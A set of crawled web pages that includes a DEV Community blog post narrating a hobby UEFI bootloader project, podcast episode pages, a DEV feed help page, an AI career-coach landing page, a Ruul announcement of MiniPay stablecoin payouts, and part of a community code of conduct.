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https://dev.to/florent_herisson_691b0bac/irqs-and-the-art-of-not-crashing-non | IRQs and the Art of Not Crashing - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close Add reaction Like Unicorn Exploding Head Raised Hands Fire Jump to Comments Save Boost More... Copy link Copy link Copied to Clipboard Share to X Share to LinkedIn Share to Facebook Share to Mastodon Share Post via... Report Abuse Florent Herisson Posted on Jan 9 IRQs and the Art of Not Crashing # osdev # programming # interrupts # lowlevel IRQs and the Art of Not Crashing Dear diary, today I committed to building an operating system again. No, I'm not okay. It's January 2nd, 2026, and while normal people are nursing hangovers and pretending they'll actually go to the gym this year, I'm sitting in my home office staring at a GitHub repository called "ChronOS." The afternoon light streams through my window, illuminating the graveyard of failed hobby projects scattered across my desk. An Arduino that was going to revolutionize my home automation. A Raspberry Pi that was definitely going to become a retro gaming console. A copy of "The Dragon Book" that I swore I'd read cover to cover. But today feels different. Today, I have 4,974 lines of recovered code fragments and what can only be described as dangerous levels of optimism. The plan is deceptively simple: boot on my Aorus X3 laptop, display some text on the 3200x1800 screen, and call it Milestone 1. How hard could it be? I've done this before. I mean, I've tried to do this before. Multiple times. The distinction is important. I spend the first hour setting up the project structure, creating folders with names like "drivers" and "kernel" as if I'm going to actually fill them with something meaningful. There's something deeply satisfying about creating empty directories. It's like buying workout clothes – you feel productive without actually doing the hard part yet. The recovered code gives me hope. Someone – presumably past me, though I have no memory of being this organized – actually implemented a bitmap font renderer. There's a complete 8x16 font, carefully crafted pixel by pixel. Looking at it now, I can almost remember the evening I spent squinting at character tables, painstakingly defining the letter 'Q' for what felt like the fortieth time. I create types.h first, because you have to start somewhere and fixed-width integers feel like progress. u8, u16, u32, u64 – the building blocks of civilization, or at least the building blocks of something that will triple-fault spectacularly in about three hours. The UEFI entry point comes next. This is where things get interesting, in the ancient Chinese curse sort of way. UEFI is supposed to be simpler than the old BIOS boot process. No more real mode, no more segments, no more 16-bit assembly that looks like it was written by someone having a stroke. Just good, clean C code that talks to a modern firmware interface. The irony is that UEFI is somehow more confusing than BIOS ever was. At least with BIOS, you knew you were in hell. UEFI pretends to be civilized while hiding a labyrinth of protocols and handles that would make Kafka weep. I write the framebuffer initialization code, and for a moment, I feel like I know what I'm doing. Graphics Output Protocol, acquire the framebuffer, store the base address in a global variable. Easy. The recovered code even has comments explaining the pixel format. Past me was clearly having a good day. The console code is where I start to remember why I abandoned this project the last time. Rendering text to a framebuffer sounds straightforward until you actually try to do it. Each character is 16 bytes representing an 8x16 bitmap. At 2x scaling for the HiDPI display, that becomes 16x32 pixels per character. Simple multiplication, right? Wrong. Because nothing is ever simple when you're working at the metal. First, I get the byte order backwards. The framebuffer expects BGRA, but I'm thinking RGB like a rational human being. My carefully crafted white text appears as a suspicious yellow-green color that reminds me of something I'd rather not think about. Then I discover that my font rendering has an off-by-one error that makes every character look like it's having an existential crisis. The letter 'A' develops a lean to the left. The letter 'O' becomes more of a philosophical concept than an actual circle. It's 4 PM now, and I've been debugging font rendering for two hours. This is not how I planned to spend my day. I was supposed to have a working bootloader by now, ready to impress myself with a clean boot banner. Instead, I'm staring at a screen that looks like someone spilled alphabet soup on it. The serial port code saves my sanity. At least, it saves what's left of it. COM1 at 115200 baud, 8N1, no flow control. The kind of simple, honest communication that doesn't pretend to be anything other than what it is. When the screen output looks like abstract art, I can still get debug messages through the serial port. It's like having a lifeline to the outside world. I implement a proper logging system because I've learned from past mistakes. Screen output should be clean and user-friendly. Serial output can be verbose and technical. And – this is the clever part – USB file logging writes everything to BOOTLOG.TXT on the boot USB itself. No more trying to remember cryptic error messages or squinting at serial output while balancing a laptop on my knee. The logging system grows more complex than I intended. Log levels, multiple outputs, formatted strings, hex value printing. Before I know it, I've written 200 lines of code just to say "hello world" in a slightly more sophisticated way. This is why hobby OS development takes forever. You start with a simple goal and end up implementing half of printf because you got carried away. The Makefile is its own special form of torture. GNU-EFI has opinions about compiler flags. The linker has opinions about section layouts. UEFI has opinions about executable formats. Everyone has opinions, and none of them agree with each other. I spend forty minutes figuring out why my bootloader won't... well, boot. The error message is spectacularly unhelpful: "Selected boot image did not authenticate." This could mean anything from "your code is garbage" to "you forgot to sacrifice a goat to the UEFI gods." The answer, it turns out, is that I'm creating a partition table when I should be using the superfloppy format. The Aorus X3, in its infinite wisdom, refuses to boot from anything that looks like a hard drive. It wants a floppy disk image, even though no one has seen an actual floppy disk since the Clinton administration. One line change in the Makefile. One line. I've been staring at this for forty minutes, and the fix is changing "mkfs.fat -F32" to "mkfs.fat -F32 -v". The -v flag creates a volume label, which apparently makes UEFI happy enough to actually run my code. By 6 PM, I have something that compiles. Whether it runs is a different question entirely. I write the bootable image to a USB drive and walk over to the Aorus X3. It's been sitting patiently on the shelf, accumulating dust and probably judging my life choices. I plug in the USB, power on, press F12 for the boot menu, and select the USB drive. The screen goes black. This is either very good or very bad. In OS development, there's rarely a middle ground. Then, slowly, like dawn breaking over a mountain range, text appears: CHRONO OS v4 Time-Native Operating System Display: 3200x1800 [OK] Boot successful Enter fullscreen mode Exit fullscreen mode It works. It actually works. The framebuffer is initialized, the font is rendering correctly, and my carefully crafted boot banner is displayed in crisp, 2x-scaled glory. For a moment, I feel like I could conquer the world. The moment lasts exactly until I press a key and remember that I haven't implemented keyboard input yet. The system dutifully waits for a keypress, receives some sort of input event, logs it to the file, and then halts. Mission accomplished, in the most technical sense. I retrieve the USB drive and copy BOOTLOG.TXT to my desktop. The file is perfect – every debug message, every hardware detail, every moment of the boot process captured in excruciating detail. Past me would be proud. Present me is mostly relieved that I don't have to debug this with printk statements and a serial cable. The log shows exactly what happened: framebuffer acquired at address 0xD0000000, 3200x1800 resolution, 4 bytes per pixel, 23MB of VRAM. The GOP initialization succeeded, the console started correctly, and even the keypress was captured (scancode 0x0000, unicode 0x0020, which means I probably hit the space bar). Milestone 1 is officially complete. I have a bootloader that can display text on a HiDPI screen. It's not much, but it's honest work. Looking back at the recovered code, I realize this is further than I've ever gotten before. Previous attempts usually ended with triple faults or mysterious hangs during UEFI initialization. This time, everything just... worked. The font rendering is clean, the logging system is comprehensive, and the build process is repeatable. Of course, this is just the beginning. Milestone 2 involves keyboard input, which means learning about UEFI input protocols. Milestone 3 is memory management, which means page tables and virtual memory. Milestone 4 is multitasking, which means I'll need to understand CPU state switching and scheduler algorithms. But that's tomorrow's problem. Tonight, I have a bootloader that displays a boot banner and doesn't crash. In the world of hobby OS development, that's practically a Nobel Prize. Dear diary, I may actually finish this project. The thought terrifies me more than failure ever could. osdev #programming #interrupts #lowlevel #bootloader #uefi #memorymanagement #assembly #x86_64 #debugging Top comments (0) Subscribe Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Code of Conduct • Report abuse Are you sure you want to hide this comment? It will become hidden in your post, but will still be visible via the comment's permalink . Hide child comments as well Confirm For further actions, you may consider blocking this person and/or reporting abuse Florent Herisson Follow Joined Jan 9, 2026 More from Florent Herisson The Care and Feeding of Interrupt Handlers # osdev # programming # interrupts # lowlevel Page Tables: A Love Story (It's Not) # osdev # programming # virtualmemory # x86 From Power-On to 'Oh No' # osdev # programming # interrupts # lowlevel 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. 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https://dev.to/devdiscuss/s9e5-getting-your-conference-talk-proposal-accepted | S9:E5 - Getting Your Conference Talk Proposal Accepted - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DevDiscuss Follow S9:E5 - Getting Your Conference Talk Proposal Accepted Jun 8 '22 play In this episode we talk with Tracy P Holmes, technical community advocate at Isovalent and Pachi Parra, developer advocate at Github about getting a conference talk proposal accepted. Get some tips and advice from their own personal experiences and a glimpse at this year's Codeland 2022, since both of them will be speaking at this year's conference. Show Notes (sponsor) DevNews (sponsor) CodeNewbie (sponsor) DataStax (sponsor) Cockroach Labs (DevDiscuss) (sponsor) Swimm (DevDiscuss) (sponsor) Stellar (DevDiscuss) (sponsor) Ali Spittel- Yes, You Should Write That Blog Post OS 101 Notion Obsidian Linux Foundation Mercedes Bernard- How to Write a Great Abstract Proposal Tracy P Holmes A "jackie of all trades" (and mistress of being herself), Tracy is a Developer Advocate focusing on all things community, Anxiety Driven Development, and making sense of GitOps. When she isn't leveling up her programming skills or learning all she can about the next "Something-OPS", Tracy is active in the open source community and is a strong believer that open source is like gardening - pay attention to your conditions, and water only when needed. Pachi Parra Pachi Carlson is a Developer Advocate for Github and is a Co-founder of Feministech. Episode source Personal Trusted User Create template Templates let you quickly answer FAQs or store snippets for re-use. Submit Preview Dismiss Your browser does not support the audio element. 1x initializing... × 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://topenddevs.com/podcasts/adventures-in-devops/episodes/platform-engineering-with-luca-galante-devops-158 | Platform Engineering with Luca Galante - DevOps 158 - Adventures in DevOps - Top End Devs Top End Devs Home Podcasts Screencasts Courses Blogs Summits Meetups search-modal#open" aria-label="Search"> Sign In Sign Up search-modal#close"> Search search-modal#close"> search-modal#search" data-turbo-frame="search-results" data-turbo="true" class="space-y-4" action="/search" method="get"> Content Type All Episodes Podcasts Screencasts Lessons Courses Blog Authors Meetups Use semantic search (recommended) Search Trending Now What’s New in React 19.2: Compiler, Activity, and the Future of Async React - JSJ 670 JavaScript Jabber Can You Really Trust AI-Generated Code? - JSJ 699 JavaScript Jabber Autogenetic AI Agents and the Future of Ruby Development - RUBY 682 Ruby Rogues Popular Searches search-modal#fillSearch" data-search-term="podcast"> Podcast search-modal#fillSearch" data-search-term="episode"> Episode search-modal#fillSearch" data-search-term="author"> Author search-modal#fillSearch" data-search-term="meetup"> Meetup search-modal#fillSearch" data-search-term="series"> Series Back to Adventures in DevOps RSS Feed Spotify Apple Podcasts YouTube Amazon Music Platform Engineering with Luca Galante - DevOps 158 Published: April 13, 2023 Download Platform Engineering with Luca Galante - DevOps 158 0:00 audio-player#clickProgressBar touchstart->audio-player#clickProgressBar touchmove->audio-player#clickProgressBar" data-audio-player-target="progressBar"> 0:00 audio-player#skipBackward"> audio-player#togglePlayPause" data-audio-player-target="playPauseButton"> audio-player#skipForward"> audio-player#changeVolume" type="range" min="0" max="1" step="0.01" value="1" /> Playback Speed: audio-player#changePlaybackSpeed"> 0.5x 0.75x 1x 1.25x 1.5x 2x Created by: Jonathan Hall • Will Button • Luca Galante Show Notes Luca Galante runs products at Humanitec and is a writer for Platform weekly. He joins the show alongside Jonathan and Will to talk about Platform Engineering. He starts off as he explains "Platform Engineering", its concept, and its impact on the DevOps community today. Sponsors Chuck's Resume Template Developer Book Club starting Become a Top 1% Dev with a Top End Devs Membership Links What is platform engineering? What is an internal developer platform? What is Dynamic Configuration Management? Platform Engineering community PlatformCon 2023 Socials LinkedIn: Luca Galante Twitter: @luca_cloud Picks Jonathan - Go Code Roast: Logstash to Prometheus exporter - YouTube Luca - STARLINK ROAM Will - Unitree Mobile Robotics Expert © 2026 2022 Intentional Excellence Productions, LLC. All rights reserved. | 2026-01-13T08:47:54 |
https://dev.to/help/customizing-your-feed#Users | Customizing Your Feed - DEV Help - DEV Community Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account DEV Community Close DEV Help The latest help documentation, tips and tricks from the DEV Community. Help > Customizing Your Feed Customizing Your Feed In this article The "Feed" Tags Follow Tags Hide Tags Users Follow Users Block Users Your Reading List Common Questions What about my post's Google ranking? Tailor your reading experience on DEV to suit your preferences. The "Feed" The home page is tailored to each individual DEV member based on what they're following. Every now and then, the DEV Team may "pin" a post to the homepage if it's an announcement that is relevant to all folks, but these are generally posts from the DEV Team. Your feed is where you'll discover a diverse range of articles published by developers worldwide. You can filter the content displayed on your feed based on the type of articles you want to read. Currently, we offer three feed sort options: Relevant, Latest, and Top. Follow tags and users to customize your feed and discover content tailored to your interests. Utilize Subscription Options: With subscription indicators, you can subscribe to new articles from users or organizations you follow, as well as through any of your existing comment subscriptions. Easily manage your subscriptions and unsubscribe from any article or thread that's becoming too popular. With these features, you'll never miss out on an interesting discussion happening on DEV. Stay informed and engaged with the latest comments and articles tailored to your interests. Tags Follow Tags Tags are unique keywords attached to posts to categorize related articles under specific and defined groups. They cover a wide range of topics and feature thousands of posts, from coding tutorials to career advice, catering to both beginners and experienced developers. Following tags on DEV means subscribing to updates and content related to specific topics of interest. By following a tag, you'll see relevant posts in your feed or notifications, enabling you to stay informed, personalize your experience, and connect with others who share similar interests within the community. Hide Tags Just as you can follow tags, you can also hide them. Articles with hidden tags will no longer appear in your Relevant feed, providing you with a more tailored browsing experience. Hiding tags gives you greater control over your feed. Just follow these steps: Tags Page: Visit the tags page and use the search feature to find and hide specific tags. Dashboard: Navigate to the "Following tags" section on your dashboard. Press the three dots to access the hide option and conceal tags from your feed. You can easily manage your Hidden Tags directly from your dashboard. Access the "Hidden tags" section to view and unhide tags at any time, bringing articles with those tags back to your feed. Users Follow Users In order to stay in touch with people in your feed, you can follow them! Just navigate to the member's page and tap that follow button to get alerts when they post new content and prioritize their content in your feed. Block Users You are always able to block users from your feed and from seeing your content by navigating to the three dots in the top right corner of their page and clicking Block. If this member is posting especially harmful content or is a spam account, feel free to also flag this member for us in the same location. Your Reading List By clicking the Bookmark button on an article, you can collect posts to read later and keep them forever in your dashboard. To access these articles, simply navigate to your profile icon, click on "Reading List," and you'll find all your saved posts there." Common Questions What about my post's Google ranking? You can set the canonical_url of your post before publishing so that Google knows where to send the link juice (that precious, precious link juice). 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV DEV Community — A space to discuss and keep up software development and manage your software career Home DEV++ Podcasts Videos DEV Education Tracks DEV Challenges DEV Help Advertise on DEV DEV Showcase About Contact Free Postgres Database Software comparisons Forem Shop Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . DEV Community © 2016 - 2026. We're a place where coders share, stay up-to-date and grow their careers. Log in Create account | 2026-01-13T08:47:54 |
https://www.finalroundai.com/career-coach | Free AI Career Coach: Personalized Job Guidance with AI Get Started Loading... Career Coach Pricing AI Career Coach Your Personal AI Career Coach Whether you're switching careers or chasing your first role, our AI Coach helps you prep smarter, respond stronger, and show up ready. Optimized Resume Your resume will be fine-tuned with personalized feedback Confidence-Boosting Interviews Simulate real-world interviews, and improve your interview performance—ensuring you're ready for any challenge. Tailored Job Recommendations Receive job opportunities that are a perfect match for your skills and career aspirations, helping you focus on the roles that matter most. Optimized Resume Your resume will be fine-tuned with personalized feedback Confidence-Boosting Interviews Simulate real-world interviews, and improve your interview performance—ensuring you're ready for any challenge. Tailored Job Recommendations Receive job opportunities that are a perfect match for your skills and career aspirations, helping you focus on the roles that matter most. Join a community of 500k+ candidates who've landed jobs at top companies conquer your interview nerves Fast track your career with AI Assistant Test the AI interview tools—explore, use, and opt in or out anytime. Enjoy flexibility in your prep and exceed expectations. Get Started For Free Realistic Interview Simulation Practice interviews in a realistic, pressure-free environment and receive tailored feedback based on your answers. Instant Feedback Know exactly where you can improve to feel more confident in your interview. Personalized Career Coaching Receive career advice that fits your professional goals and helps you grow. Job-Specific Interview Prep Prepare for interviews at top companies in your industry with questions specific to your target role. Resume and Job Review Refine your resume with AI-driven suggestions to match job descriptions and increase your chances of getting noticed. Career Path Insights Gain valuable guidance on your career path with personalized recommendations for growth, skill development. nail your next inteview What Can an AI Career Coach Help You With? Discover how real-time career coaching works — and how it helps you get hired faster. 1 Start the Conversation Connect instantly with your personal AI Career Coach. Just type your goals, and get coaching tailored to your path. 2 Ask Career Questions Whether it's resume tips, interview prep, job search strategy, or salary negotiation — your AI Coach responds with clarity, speed, and precision. 3 Receive Personalized Advice Get expert-level answers that fit your role, experience level, and career direction. Every response adapts to your background — so you always know your next move. Ready to Take the Guesswork Out of Your Job Search? Start your free trial and get personalized coaching from your AI Career Coach — anytime, anywhere. Get Started Free use cases Powerful AI Tools for Recruiting Season Leverage a suite of advanced AI tools designed to streamline your job search and enhance your recruiting experience this season Get Started for Free 10+ 100k+ reviews Interview Copilot AI Resume Builder Mock Interview Auto Apply Interview Copilot AI Resume Builder Mock Interview Auto Apply Company About Contact Us Referral Program More Products Interview Copilot AI Mock Interview AI Resume Builder More AI Tools Coding Interview Copilot AI Career Coach Resume Checker More Resources Blog Hirevue Interviews Phone Interviews More Refund Policy Privacy Policy Terms & Conditions Disclaimer: This platform provides guidance, resources, and support to enhance your job search. However, securing employment within 30 days depends on various factors beyond our control, including market conditions, individual effort, and employer decisions. We do not guarantee job placement within any specific timeframe. © 2025 Final Round AI, 188 King St, Unit 402 San Francisco, CA, 94107 | 2026-01-13T08:47:54 |
https://ruul.io/blog/minipay#$%7Bid%7D | Ruul & MiniPay: Stablecoin Payment for Freelancers Product Payment Requests Get paid anywhere. Sell Services Make your services buyable Sell Products Create once sell forever Subscriptions Get paid on repeat Ruul Space Your personel storefront. One link for everything you offer. Learn more Pricing Resources Partner Programs Referral Program Get 1% for life. Seriously. Affiliate Program Bring users, get paid Partners Let’s grow together. More Blog About us Support Brand Kit For Customers Log in Sign up For Businesses Login Sign up News Introducing MiniPay on Ruul: Faster Stablecoin Payment Ruul & MiniPay now bring instant, stablecoin payments with zero withdrawal fee for freelancers. Create virtual USD/EUR accounts, enjoy fast global transfers, and earn up to $275 in bonuses. Eran Karaso 5 min read RUUL FOR INDEPENDENCE You chose independence.We make sure you keep it. Sell your time, your talent, whatever you create or build always on your terms. Get started See Example This is also a heading This is a heading Key Points Better way to get paid At Ruul, our mission is to make independence actually work. That means taking care of the complicated parts, payment collection, tax compliance, and global payment, so you can stay focused on your work. Today, we're excited to introduce a major upgrade that makes receiving your earnings faster, smarter, and more flexible. We’ve partnered with MiniPay , a next-generation stablecoin self custodial wallet, to enable instant, zero withdrawal fee payment through your own dedicated virtual account via virtual IBAN technology provided by NOAH. Think of it like opening a local USD/EUR account, but with the borderless flexibility of digital dollars. What is MiniPay? MiniPay is a global stablecoin self custodial wallet designed to make digital finance simple, affordable, and accessible. It allows you to: Receive your Ruul payment instantly converted to digital dollars Withdraw to your local currency through trusted third-party providers Access competitive exchange rates in any currency Use a lightweight wallet available in 60+ countries With MiniPay, receiving international payments becomes as easy as accepting a local transfer. Your virtual account for global payments Through our partnership, every Ruul user can now generate a virtual USD/EUR account directly in MiniPay. These accounts are provided by MiniPay’s licensed partner NOAH, enabling you to collect global payments just like a bank account, without actually needing one. Once connected to Ruul, your clients can continue to use familiar methods like credit card, bank transfer, or local payment options, while you receive the payment instantly and securely in stablecoins. How to use MiniPay on Ruul Connect your MiniPay wallet: Dashboard → Payment Accounts → Add MiniPay Account. Create a new wallet or add your existing one. Set your pay currency: Choose to receive stablecoins in EUR or USD. Get paid with zero withdrawal fee: Create a payment request and select MiniPay to receive instant, zero withdrawal fee stablecoin payments. Earn up to $275 in rewards To celebrate this launch, Ruul and MiniPay are offering exclusive bonuses for freelancers who activate their virtual account inside MiniPay. Here’s how you can earn up to $275 rewards (subject to MiniPay Ruul Rewards Campaign Terms ) : $25 First Payout Bonus: Earned when you receive your first Ruul payment of $100 or more through MiniPay. Up to $250 in Milestone Bonuses: Additional bonuses unlocked when your total pays reach $500 , $2,500 , and $7,500 . Combined with zero withdrawal fee, this makes MiniPay the most cost-efficient way to get paid globally through Ruul. Log in to your Ruul dashboard, select MiniPay as your payment method, create your virtual account, and enjoy fast, borderless, zero withdrawal fee stablecoin payment. Your payments are upgraded. Stable, fast, and truly global. ABOUT THE AUTHOR Eran Karaso Eran Karaso is a marketing and brand strategy leader with more than a decade of experience helping global tech companies connect with their audiences. He’s built brand narratives that stick, led successful go-to-market strategies, and worked hand-in-hand with cross-functional teams to ensure everyone is on the same page. More Why do cosmetics brands prefer these logo colors? Explore why leading cosmetics brands favour specific logo colours — from psychology and branding strategy to colour-trends in beauty packaging and the impact on consumer perceptions. Read more How to promote your solo business Self-promotion is key to success for solo business owners. Find out how to expand your professional network and use digital marketing to your advantage. Read more How to Determine Your Rates as a Freelance Virtual Assistant Learn how to set your rates as a freelance virtual assistant by evaluating your skills, market trends, and business expenses.Discover effective pricing structures. Read more MORE THAN 120,000 Independents Over 120,000 independents trust Ruul to sell their services, digital products, and securely manage their payments. FROM 190 Countries Truly global coverage: trusted across 190 countries with seamless payouts available in 140 currencies. PROCESSED $200m+ of Transactions Over $200M successfully processed, backed by an 8-year legacy of secure, reliable transactions trusted by independents worldwide. FREQUENTLY ASKED QUESTIONS Everything you need to know. Get clear, straightforward answers to the most common questions about using Ruul. hey@ruul.io What is Ruul? Ruul is a merchant-of-record platform helping freelancers and creators globally sell services, digital products, subscriptions, and easily get paid. Who is Ruul for? Ruul is designed for freelancers, creators, and independent professionals who want a simple way to sell online and get paid globally. How does Ruul work? Open an account, complete a quick verification (KYC), and link your payout account. Then, start selling through your store or send payment requests to customers instantly. How does pricing work? Signing up is free. There are no subscription or hidden fees. Ruul charges a small commission only when you sell or get paid through the platform. What is a Merchant of Record? A merchant of record is the legal seller responsible for processing payments, handling taxes, and managing compliance for each transaction. What can I sell on Ruul? You can sell services, digital products, license keys, online courses, subscriptions, and digital memberships. How do I get paid on Ruul? Add your preferred bank account, digital wallet, or receive payouts in stablecoins as crypto. Funds arrive within 24 hours after a payout is triggered. OPEN AN ACCOUNT START MAKING MONEY TODAY ruul.space/ Thank you! Your submission has been received! Oops! Something went wrong while submitting the form. Trustpilot Product Payment Requests Sell Services Sell Products Subscriptions Ruul Space Pricing For Businesses Resources Blog About Contact Support Referral Program Affiliate Program Partner Program Tools Invoice Generator NDA Generator Service Agreement Generator Freelancer Hourly Rate Calculator All Rights Reserved © 2025 Terms Of Use Privacy Policy | 2026-01-13T08:47:54 |
https://hmpljs.forem.com/code-of-conduct | Code of Conduct - HMPL.js Forem Forem Feed Follow new Subforems to improve your feed DEV Community Follow A space to discuss and keep up software development and manage your software career Future Follow News and discussion of science and technology such as AI, VR, cryptocurrency, quantum computing, and more. Open Forem Follow A general discussion space for the Forem community. If it doesn't have a home elsewhere, it belongs here Gamers Forem Follow An inclusive community for gaming enthusiasts Music Forem Follow From composing and gigging to gear, hot music takes, and everything in between. Vibe Coding Forem Follow Discussing AI software development, and showing off what we're building. Popcorn Movies and TV Follow Movie and TV enthusiasm, criticism and everything in-between. DUMB DEV Community Follow Memes and software development shitposting Design Community Follow Web design, graphic design and everything in-between Security Forem Follow Your central hub for all things security. From ethical hacking and CTFs to GRC and career development, for beginners and pros alike Golf Forem Follow A community of golfers and golfing enthusiasts Crypto Forem Follow A collaborative community for all things Crypto—from Bitcoin to protocol development and DeFi to NFTs and market analysis. Parenting Follow A place for parents to the share the joys, challenges, and wisdom that come from raising kids. We're here for them and for each other. Forem Core Follow Discussing the core forem open source software project — features, bugs, performance, self-hosting. Maker Forem Follow A community for makers, hobbyists, and professionals to discuss Arduino, Raspberry Pi, 3D printing, and much more. HMPL.js Forem Follow For developers using HMPL.js to build fast, lightweight web apps. A space to share projects, ask questions, and discuss server-driven templating Dropdown menu Dropdown menu Skip to content Navigation menu Search Powered by Algolia Search Log in Create account HMPL.js Forem Close Code of Conduct Last updated July 31, 2023 All participants of DEV Community are expected to abide by our Code of Conduct and Terms of Service , both online and during in-person events that are hosted and/or associated with DEV Community. Our Pledge In the interest of fostering an open and welcoming environment, we as moderators of DEV Community pledge to make participation in our project and our community a harassment-free experience for everyone, regardless of age, body size, disability, ethnicity, gender identity and expression, level of experience, nationality, personal appearance, race, religion, or sexual identity and orientation. Our Standards Examples of behavior that contributes to creating a positive environment include: Using welcoming and inclusive language Being respectful of differing viewpoints and experiences Referring to people by their pronouns and using gender-neutral pronouns when uncertain Gracefully accepting constructive criticism Focusing on what is best for the community Showing empathy towards other community members Citing sources if used to create content (for guidance see DEV Community: How to Avoid Plagiarism ) Following our AI Guidelines and disclosing AI assistance if used to create content Examples of unacceptable behavior by participants include: The use of sexualized language or imagery and unwelcome sexual attention or advances The use of hate speech or communication that is racist, homophobic, transphobic, ableist, sexist, or otherwise prejudiced/discriminatory (i.e. misusing or disrespecting pronouns) Trolling, insulting/derogatory comments, and personal or political attacks Public or private harassment Publishing others' private information, such as a physical or electronic address, without explicit permission Plagiarizing content or misappropriating works Other conduct which could reasonably be considered inappropriate in a professional setting Dismissing or attacking inclusion-oriented requests We pledge to prioritize marginalized people's safety over privileged people's comfort. We will not act on complaints regarding: 'Reverse' -isms, including 'reverse racism,' 'reverse sexism,' and 'cisphobia' Reasonable communication of boundaries, such as 'leave me alone,' 'go away,' or 'I'm not discussing this with you.' Someone's refusal to explain or debate social justice concepts Criticisms of racist, sexist, cissexist, or otherwise oppressive behavior or assumptions Enforcement Violations of the Code of Conduct may be reported by contacting the team via the abuse report form or by sending an email to support@dev.to . All reports will be reviewed and investigated and will result in a response that is deemed necessary and appropriate to the circumstances. Further details of specific enforcement policies may be posted separately. Moderators have the right and responsibility to remove comments or other contributions that are not aligned to this Code of Conduct or to suspend temporarily or permanently any members for other behaviors that they deem inappropriate, threatening, offensive, or harmful. If you agree with our values and would like to help us 